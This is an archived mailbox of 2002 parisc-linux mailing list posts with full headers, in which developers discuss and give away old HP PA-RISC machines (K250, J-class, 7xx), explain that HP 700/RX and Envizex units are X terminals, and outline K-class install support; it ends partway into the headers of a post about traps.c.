X-Trace: ger.gmane.org 1416621269 6935 80.91.229.3 (22 Nov 2014 01:54:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:29 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 14:41:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4746C482B; Thu,  2 May 2002 14:41:13 -0600 (MDT)
In-Reply-To: Message from "Rafael E. Herrera" <raffo@neuronet.pitt.edu> 
   of "Thu, 02 May 2002 15:15:13 EDT." <3CD19041.8080704@neuronet.pitt.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14693

"Rafael E. Herrera" wrote:
> It is extremely noisy and the size of a small refrigerator. Do you think 
> it is worth keeping?

I don't...but I expect Ryan (rbrad) to disagree with me...but it's
helluva faster than the PDPs some people are keeping alive.

I've stopped mucking with HW that I can't lift into a rack by myself. ;^)
Someday I'll break that rule when an N-class gets donated...

grant



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@bob.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 7xx class machines
Date: Thu, 2 May 2002 23:18:52 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205022315240.31914-100000@bob.ncssm.edu>
References: <20020502132019.A14533@hpltsc.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621269 6937 80.91.229.3 (22 Nov 2014 01:54:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 21:13:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id D32E0482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 21:13:28 -0600 (MDT)
Original-Received: from localhost (andersop@localhost)
	by bob.ncssm.edu (8.11.6/8.11.6) with ESMTP id g433IqV31934
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 May 2002 23:18:52 -0400
X-X-Sender: andersop@bob.ncssm.edu
In-Reply-To: <20020502132019.A14533@hpltsc.hpl.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14694

While we're on the subject of available machines, I have 2 available 735's 
and 2 755's, as well as 2 712's. I know X works on the 712's under palinus 
but both machines need new hard drives. Also, the FWdiff on the 735's 
isn't supported, but if you have a HD on the SE bus apparently you can get 
X working just fine. I'm in the Durham, NC area... let me know.

-phil


On Thu, 2 May 2002, Tim Connors wrote:

> I have 4 J-class machines available for anyone who wants 'em.
> I'm in Palo Alto.
> 
> -Tim
> connors@hpl.hp.com
> 
> 3 J210
> 1 J282
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

the me that you know he used to have feelings
but the blood has stopped pumping and he is left to decay
the me that you know is now made up of wires
and even when i'm right with you i'm so far away
					-nine inch nails, the becoming




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Fri, 03 May 2002 00:42:47 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <3CD21547.6050408@telocity.com>
References: <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621269 6940 80.91.229.3 (22 Nov 2014 01:54:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:29 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 22:42:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h004.c003.snv.cp.net [209.228.32.218])
	by dsl2.external.hp.com (Postfix) with SMTP id 46346482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 22:42:51 -0600 (MDT)
Original-Received: (cpmta 25569 invoked from network); 2 May 2002 21:42:48 -0700
Original-Received: from 64.128.230.1 (HELO telocity.com)
  by smtp.telocity.com (209.228.32.218) with SMTP; 2 May 2002 21:42:48 -0700
X-Sent: 3 May 2002 04:42:48 GMT
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14695

John David Anglin wrote:

>>What is a HP 700x (or x700) machine? An X Terminal?
>>
>
>Yes (700/RX).  In theory, it should be possible to install the software to run it under parisc-linux.
>
700X != 700/RX

I have the bits to boot a 700/RX & I might still have them for a 700X as 
well, if anyone needs them.

-chuck





From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Fri, 3 May 2002 08:15:34 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <200205030814.36675.deller@gmx.de>
References: <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621270 6945 80.91.229.3 (22 Nov 2014 01:54:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf.Hildebrandt@charite.de (Ralf Hildebrandt)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 00:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0EA5A482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 00:19:31 -0600 (MDT)
Original-Received: (qmail 3686 invoked by uid 0); 3 May 2002 06:19:24 -0000
Original-Received: from pd9040382.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.130)
  by mail.gmx.net (mp001-rz3) with SMTP; 3 May 2002 06:19:24 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14696

On Thursday 02 May 2002 16:54, John David Anglin wrote:
> > What is a HP 700x (or x700) machine? An X Terminal?
>
> Yes (700/RX).  In theory, it should be possible to install the software
> to run it under parisc-linux.

For the software and installation instructions you may want to look at:
http://www.ductape.net/~brianm/xterm/

Greetings,
Helge



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] old hardware
Date: Fri, 3 May 2002 08:46:30 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F8815422BA@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621270 6952 80.91.229.3 (22 Nov 2014 01:54:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Helge Deller'" <deller@gmx.de>, Ralf.Hildebrandt@charite.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 00:46:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bt0g2p.god.bel.alcatel.be (alc250.alcatel.be [195.207.101.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D824482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 00:46:43 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (relay3 [127.0.0.1])
	by bt0g2p.god.bel.alcatel.be (8.11.0/8.11.4) with ESMTP id g436iqU11195;
	Fri, 3 May 2002 08:44:52 +0200
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <JBLJ599Y>; Fri, 3 May 2002 08:46:32 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14697

Just curious,

The link http://www.ductape.net/~brianm/xterm/
<http://www.ductape.net/~brianm/xterm/> , tells how to use enware on Envizex
X-terminals.
Can't the run hp-linux?

Hans

	-----Original Message-----
	From:	Helge Deller [SMTP:deller@gmx.de]
	Sent:	Friday, May 03, 2002 8:16 AM
	To:	Ralf.Hildebrandt@charite.de
	Cc:	parisc-linux@lists.parisc-linux.org
	Subject:	Re: [parisc-linux] 700x?

	On Thursday 02 May 2002 16:54, John David Anglin wrote:
	> > What is a HP 700x (or x700) machine? An X Terminal?
	>
	> Yes (700/RX).  In theory, it should be possible to install the
software
	> to run it under parisc-linux.

	For the software and installation instructions you may want to look
at:
	http://www.ductape.net/~brianm/xterm/

	Greetings,
	Helge

	_______________________________________________
	parisc-linux mailing list
	parisc-linux@lists.parisc-linux.org
	http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] old hardware
Date: Fri, 3 May 2002 12:45:48 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 21
Approved: news@gmane.org
Message-ID: <200205031245.48364.helge.deller@sap.com>
References: <03273D4BC7F4D511AC440008C7E6F8815422BA@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621270 6960 80.91.229.3 (22 Nov 2014 01:54:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@alcatel.nl>,
	"'Helge Deller'" <deller@gmx.de>, Ralf.Hildebrandt@charite.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 04:45:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C14A482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 04:45:49 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA22651;
  Fri, 3 May 2002 12:50:45 +0200 (MESZ)
X-Mailer: KMail [version 1.4]
In-Reply-To: <03273D4BC7F4D511AC440008C7E6F8815422BA@nlntmail2b.ats.nld.alcatel.nl>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14698

On Friday 03 May 2002 08:46, Witvliet, Hans wrote:
> Just curious,
>
> The link http://www.ductape.net/~brianm/xterm/
> <http://www.ductape.net/~brianm/xterm/> , tells how to use enware on
> Envizex X-terminals.
> Can't the run hp-linux?
>
> Hans

No. 
Envizex and 700/RX are just simple X11 terminals
and the only thing they run is a X11 server to display 
X apps coming from an X server. The X server on the other side
could be a PA-Linux or any other Unix/Linux machine.

Greetings,
Helge




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is it worth keeping a dual CPU K250
Date: Fri, 3 May 2002 14:42:57 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020503144257.H2591@parcelfarce.linux.theplanet.co.uk>
References: <3CD19041.8080704@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621271 6964 80.91.229.3 (22 Nov 2014 01:54:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 07:43:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 520B3482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 07:42:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 173dKr-0007wm-00; Fri, 03 May 2002 14:42:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CD19041.8080704@neuronet.pitt.edu>; from raffo@neuronet.pitt.edu on Thu, May 02, 2002 at 03:15:13PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14699

On Thu, May 02, 2002 at 03:15:13PM -0400, Rafael E. Herrera wrote:
> Hi,
> 
> We have an HP K250 dual 160 MHz CPU machine in one of the rooms here. It 
> was never fully used, since the OS media and support costs were very high.
> 
> They are considering pitching it. Can one install palinux on this box?

For the moment, you need Christoph Plattner's serial console driver and
some modification to the install image.  See the mailing list archives
for more details (hmm, anyone want to put together a K-class installing
howto?)

> It is extremely noisy and the size of a small refrigerator. Do you think 
> it is worth keeping?

Depends how much you're willing to hack around.  K class support won't be
as smooth as the other machines for some time.  Some of the devices may
never end up being supported (though centronics, single ended scsi, lan
and keyboard should all work already).  Looking at the K250 in the HWDB,
the Skunk Centronics & SCSI card, the GeckoBOA card, the Eole CAP/MUX and
the GSY Core FW-SCSI will probably end up being supported, but probably
not the Interphase 100BaseTX NIO card.  My crystal ball is second-rate,
however, and when I say `eventually', I mean `in a year or two'.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Connors <connors@hpltsc.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J class machines available
Date: Fri, 3 May 2002 09:02:19 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020503090219.A15234@hpltsc.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621271 6967 80.91.229.3 (22 Nov 2014 01:54:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 10:03:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.hpl.hp.com (deimos.hpl.hp.com [192.6.19.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A780482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 10:03:36 -0600 (MDT)
Original-Received: from hpltsc.hpl.hp.com (hpltsc.hpl.hp.com [15.9.75.135])
	by deimos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id JAA25940
	for <parisc-linux@lists.parisc-linux.org>; Fri, 3 May 2002 09:03:29 -0700 (PDT)
Original-Received: (from connors@localhost)
	by hpltsc.hpl.hp.com (8.11.2/8.9.3 HPLabs Workstation) id g43G2J315241
	for parisc-linux@lists.parisc-linux.org; Fri, 3 May 2002 09:02:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14700

I wrote:
> I have 4 J-class machines available for anyone who wants 'em.

Thanks for all of your responses.  I have more requests than machines :-(
so if you haven't responsed yet, its too late.

-Tim




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] old hardware
Date: Fri, 03 May 2002 10:46:39 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020503164639.54E97482D@dsl2.external.hp.com>
References: <03273D4BC7F4D511AC440008C7E6F8815422BA@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621271 6970 80.91.229.3 (22 Nov 2014 01:54:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 10:46:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 54E97482D; Fri,  3 May 2002 10:46:39 -0600 (MDT)
In-Reply-To: Message from "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl> 
   of "Fri, 03 May 2002 08:46:30 +0200." <03273D4BC7F4D511AC440008C7E6F8815422BA@nlntmail2b.ats.nld.alcatel.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14701

"Witvliet, Hans" wrote:
> Can't the run hp-linux?

Sorry to pick nits, but this bothers me.
It's called "parisc-linux" or for the debian impaired "hppa-linux". 

The community is driving this project right now, not HP.

grant



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] traps.c - void show_stack(struct pt_regs *regs)
Date: Fri, 3 May 2002 13:48:23 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20020503134823.A23583@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621272 6973 80.91.229.3 (22 Nov 2014 01:54:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  3 11:48:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E08B94848
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 May 2002 11:48:23 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g43HmNs23599
	for parisc-linux@lists.parisc-linux.org; Fri, 3 May 2002 13:48:23 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (21% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
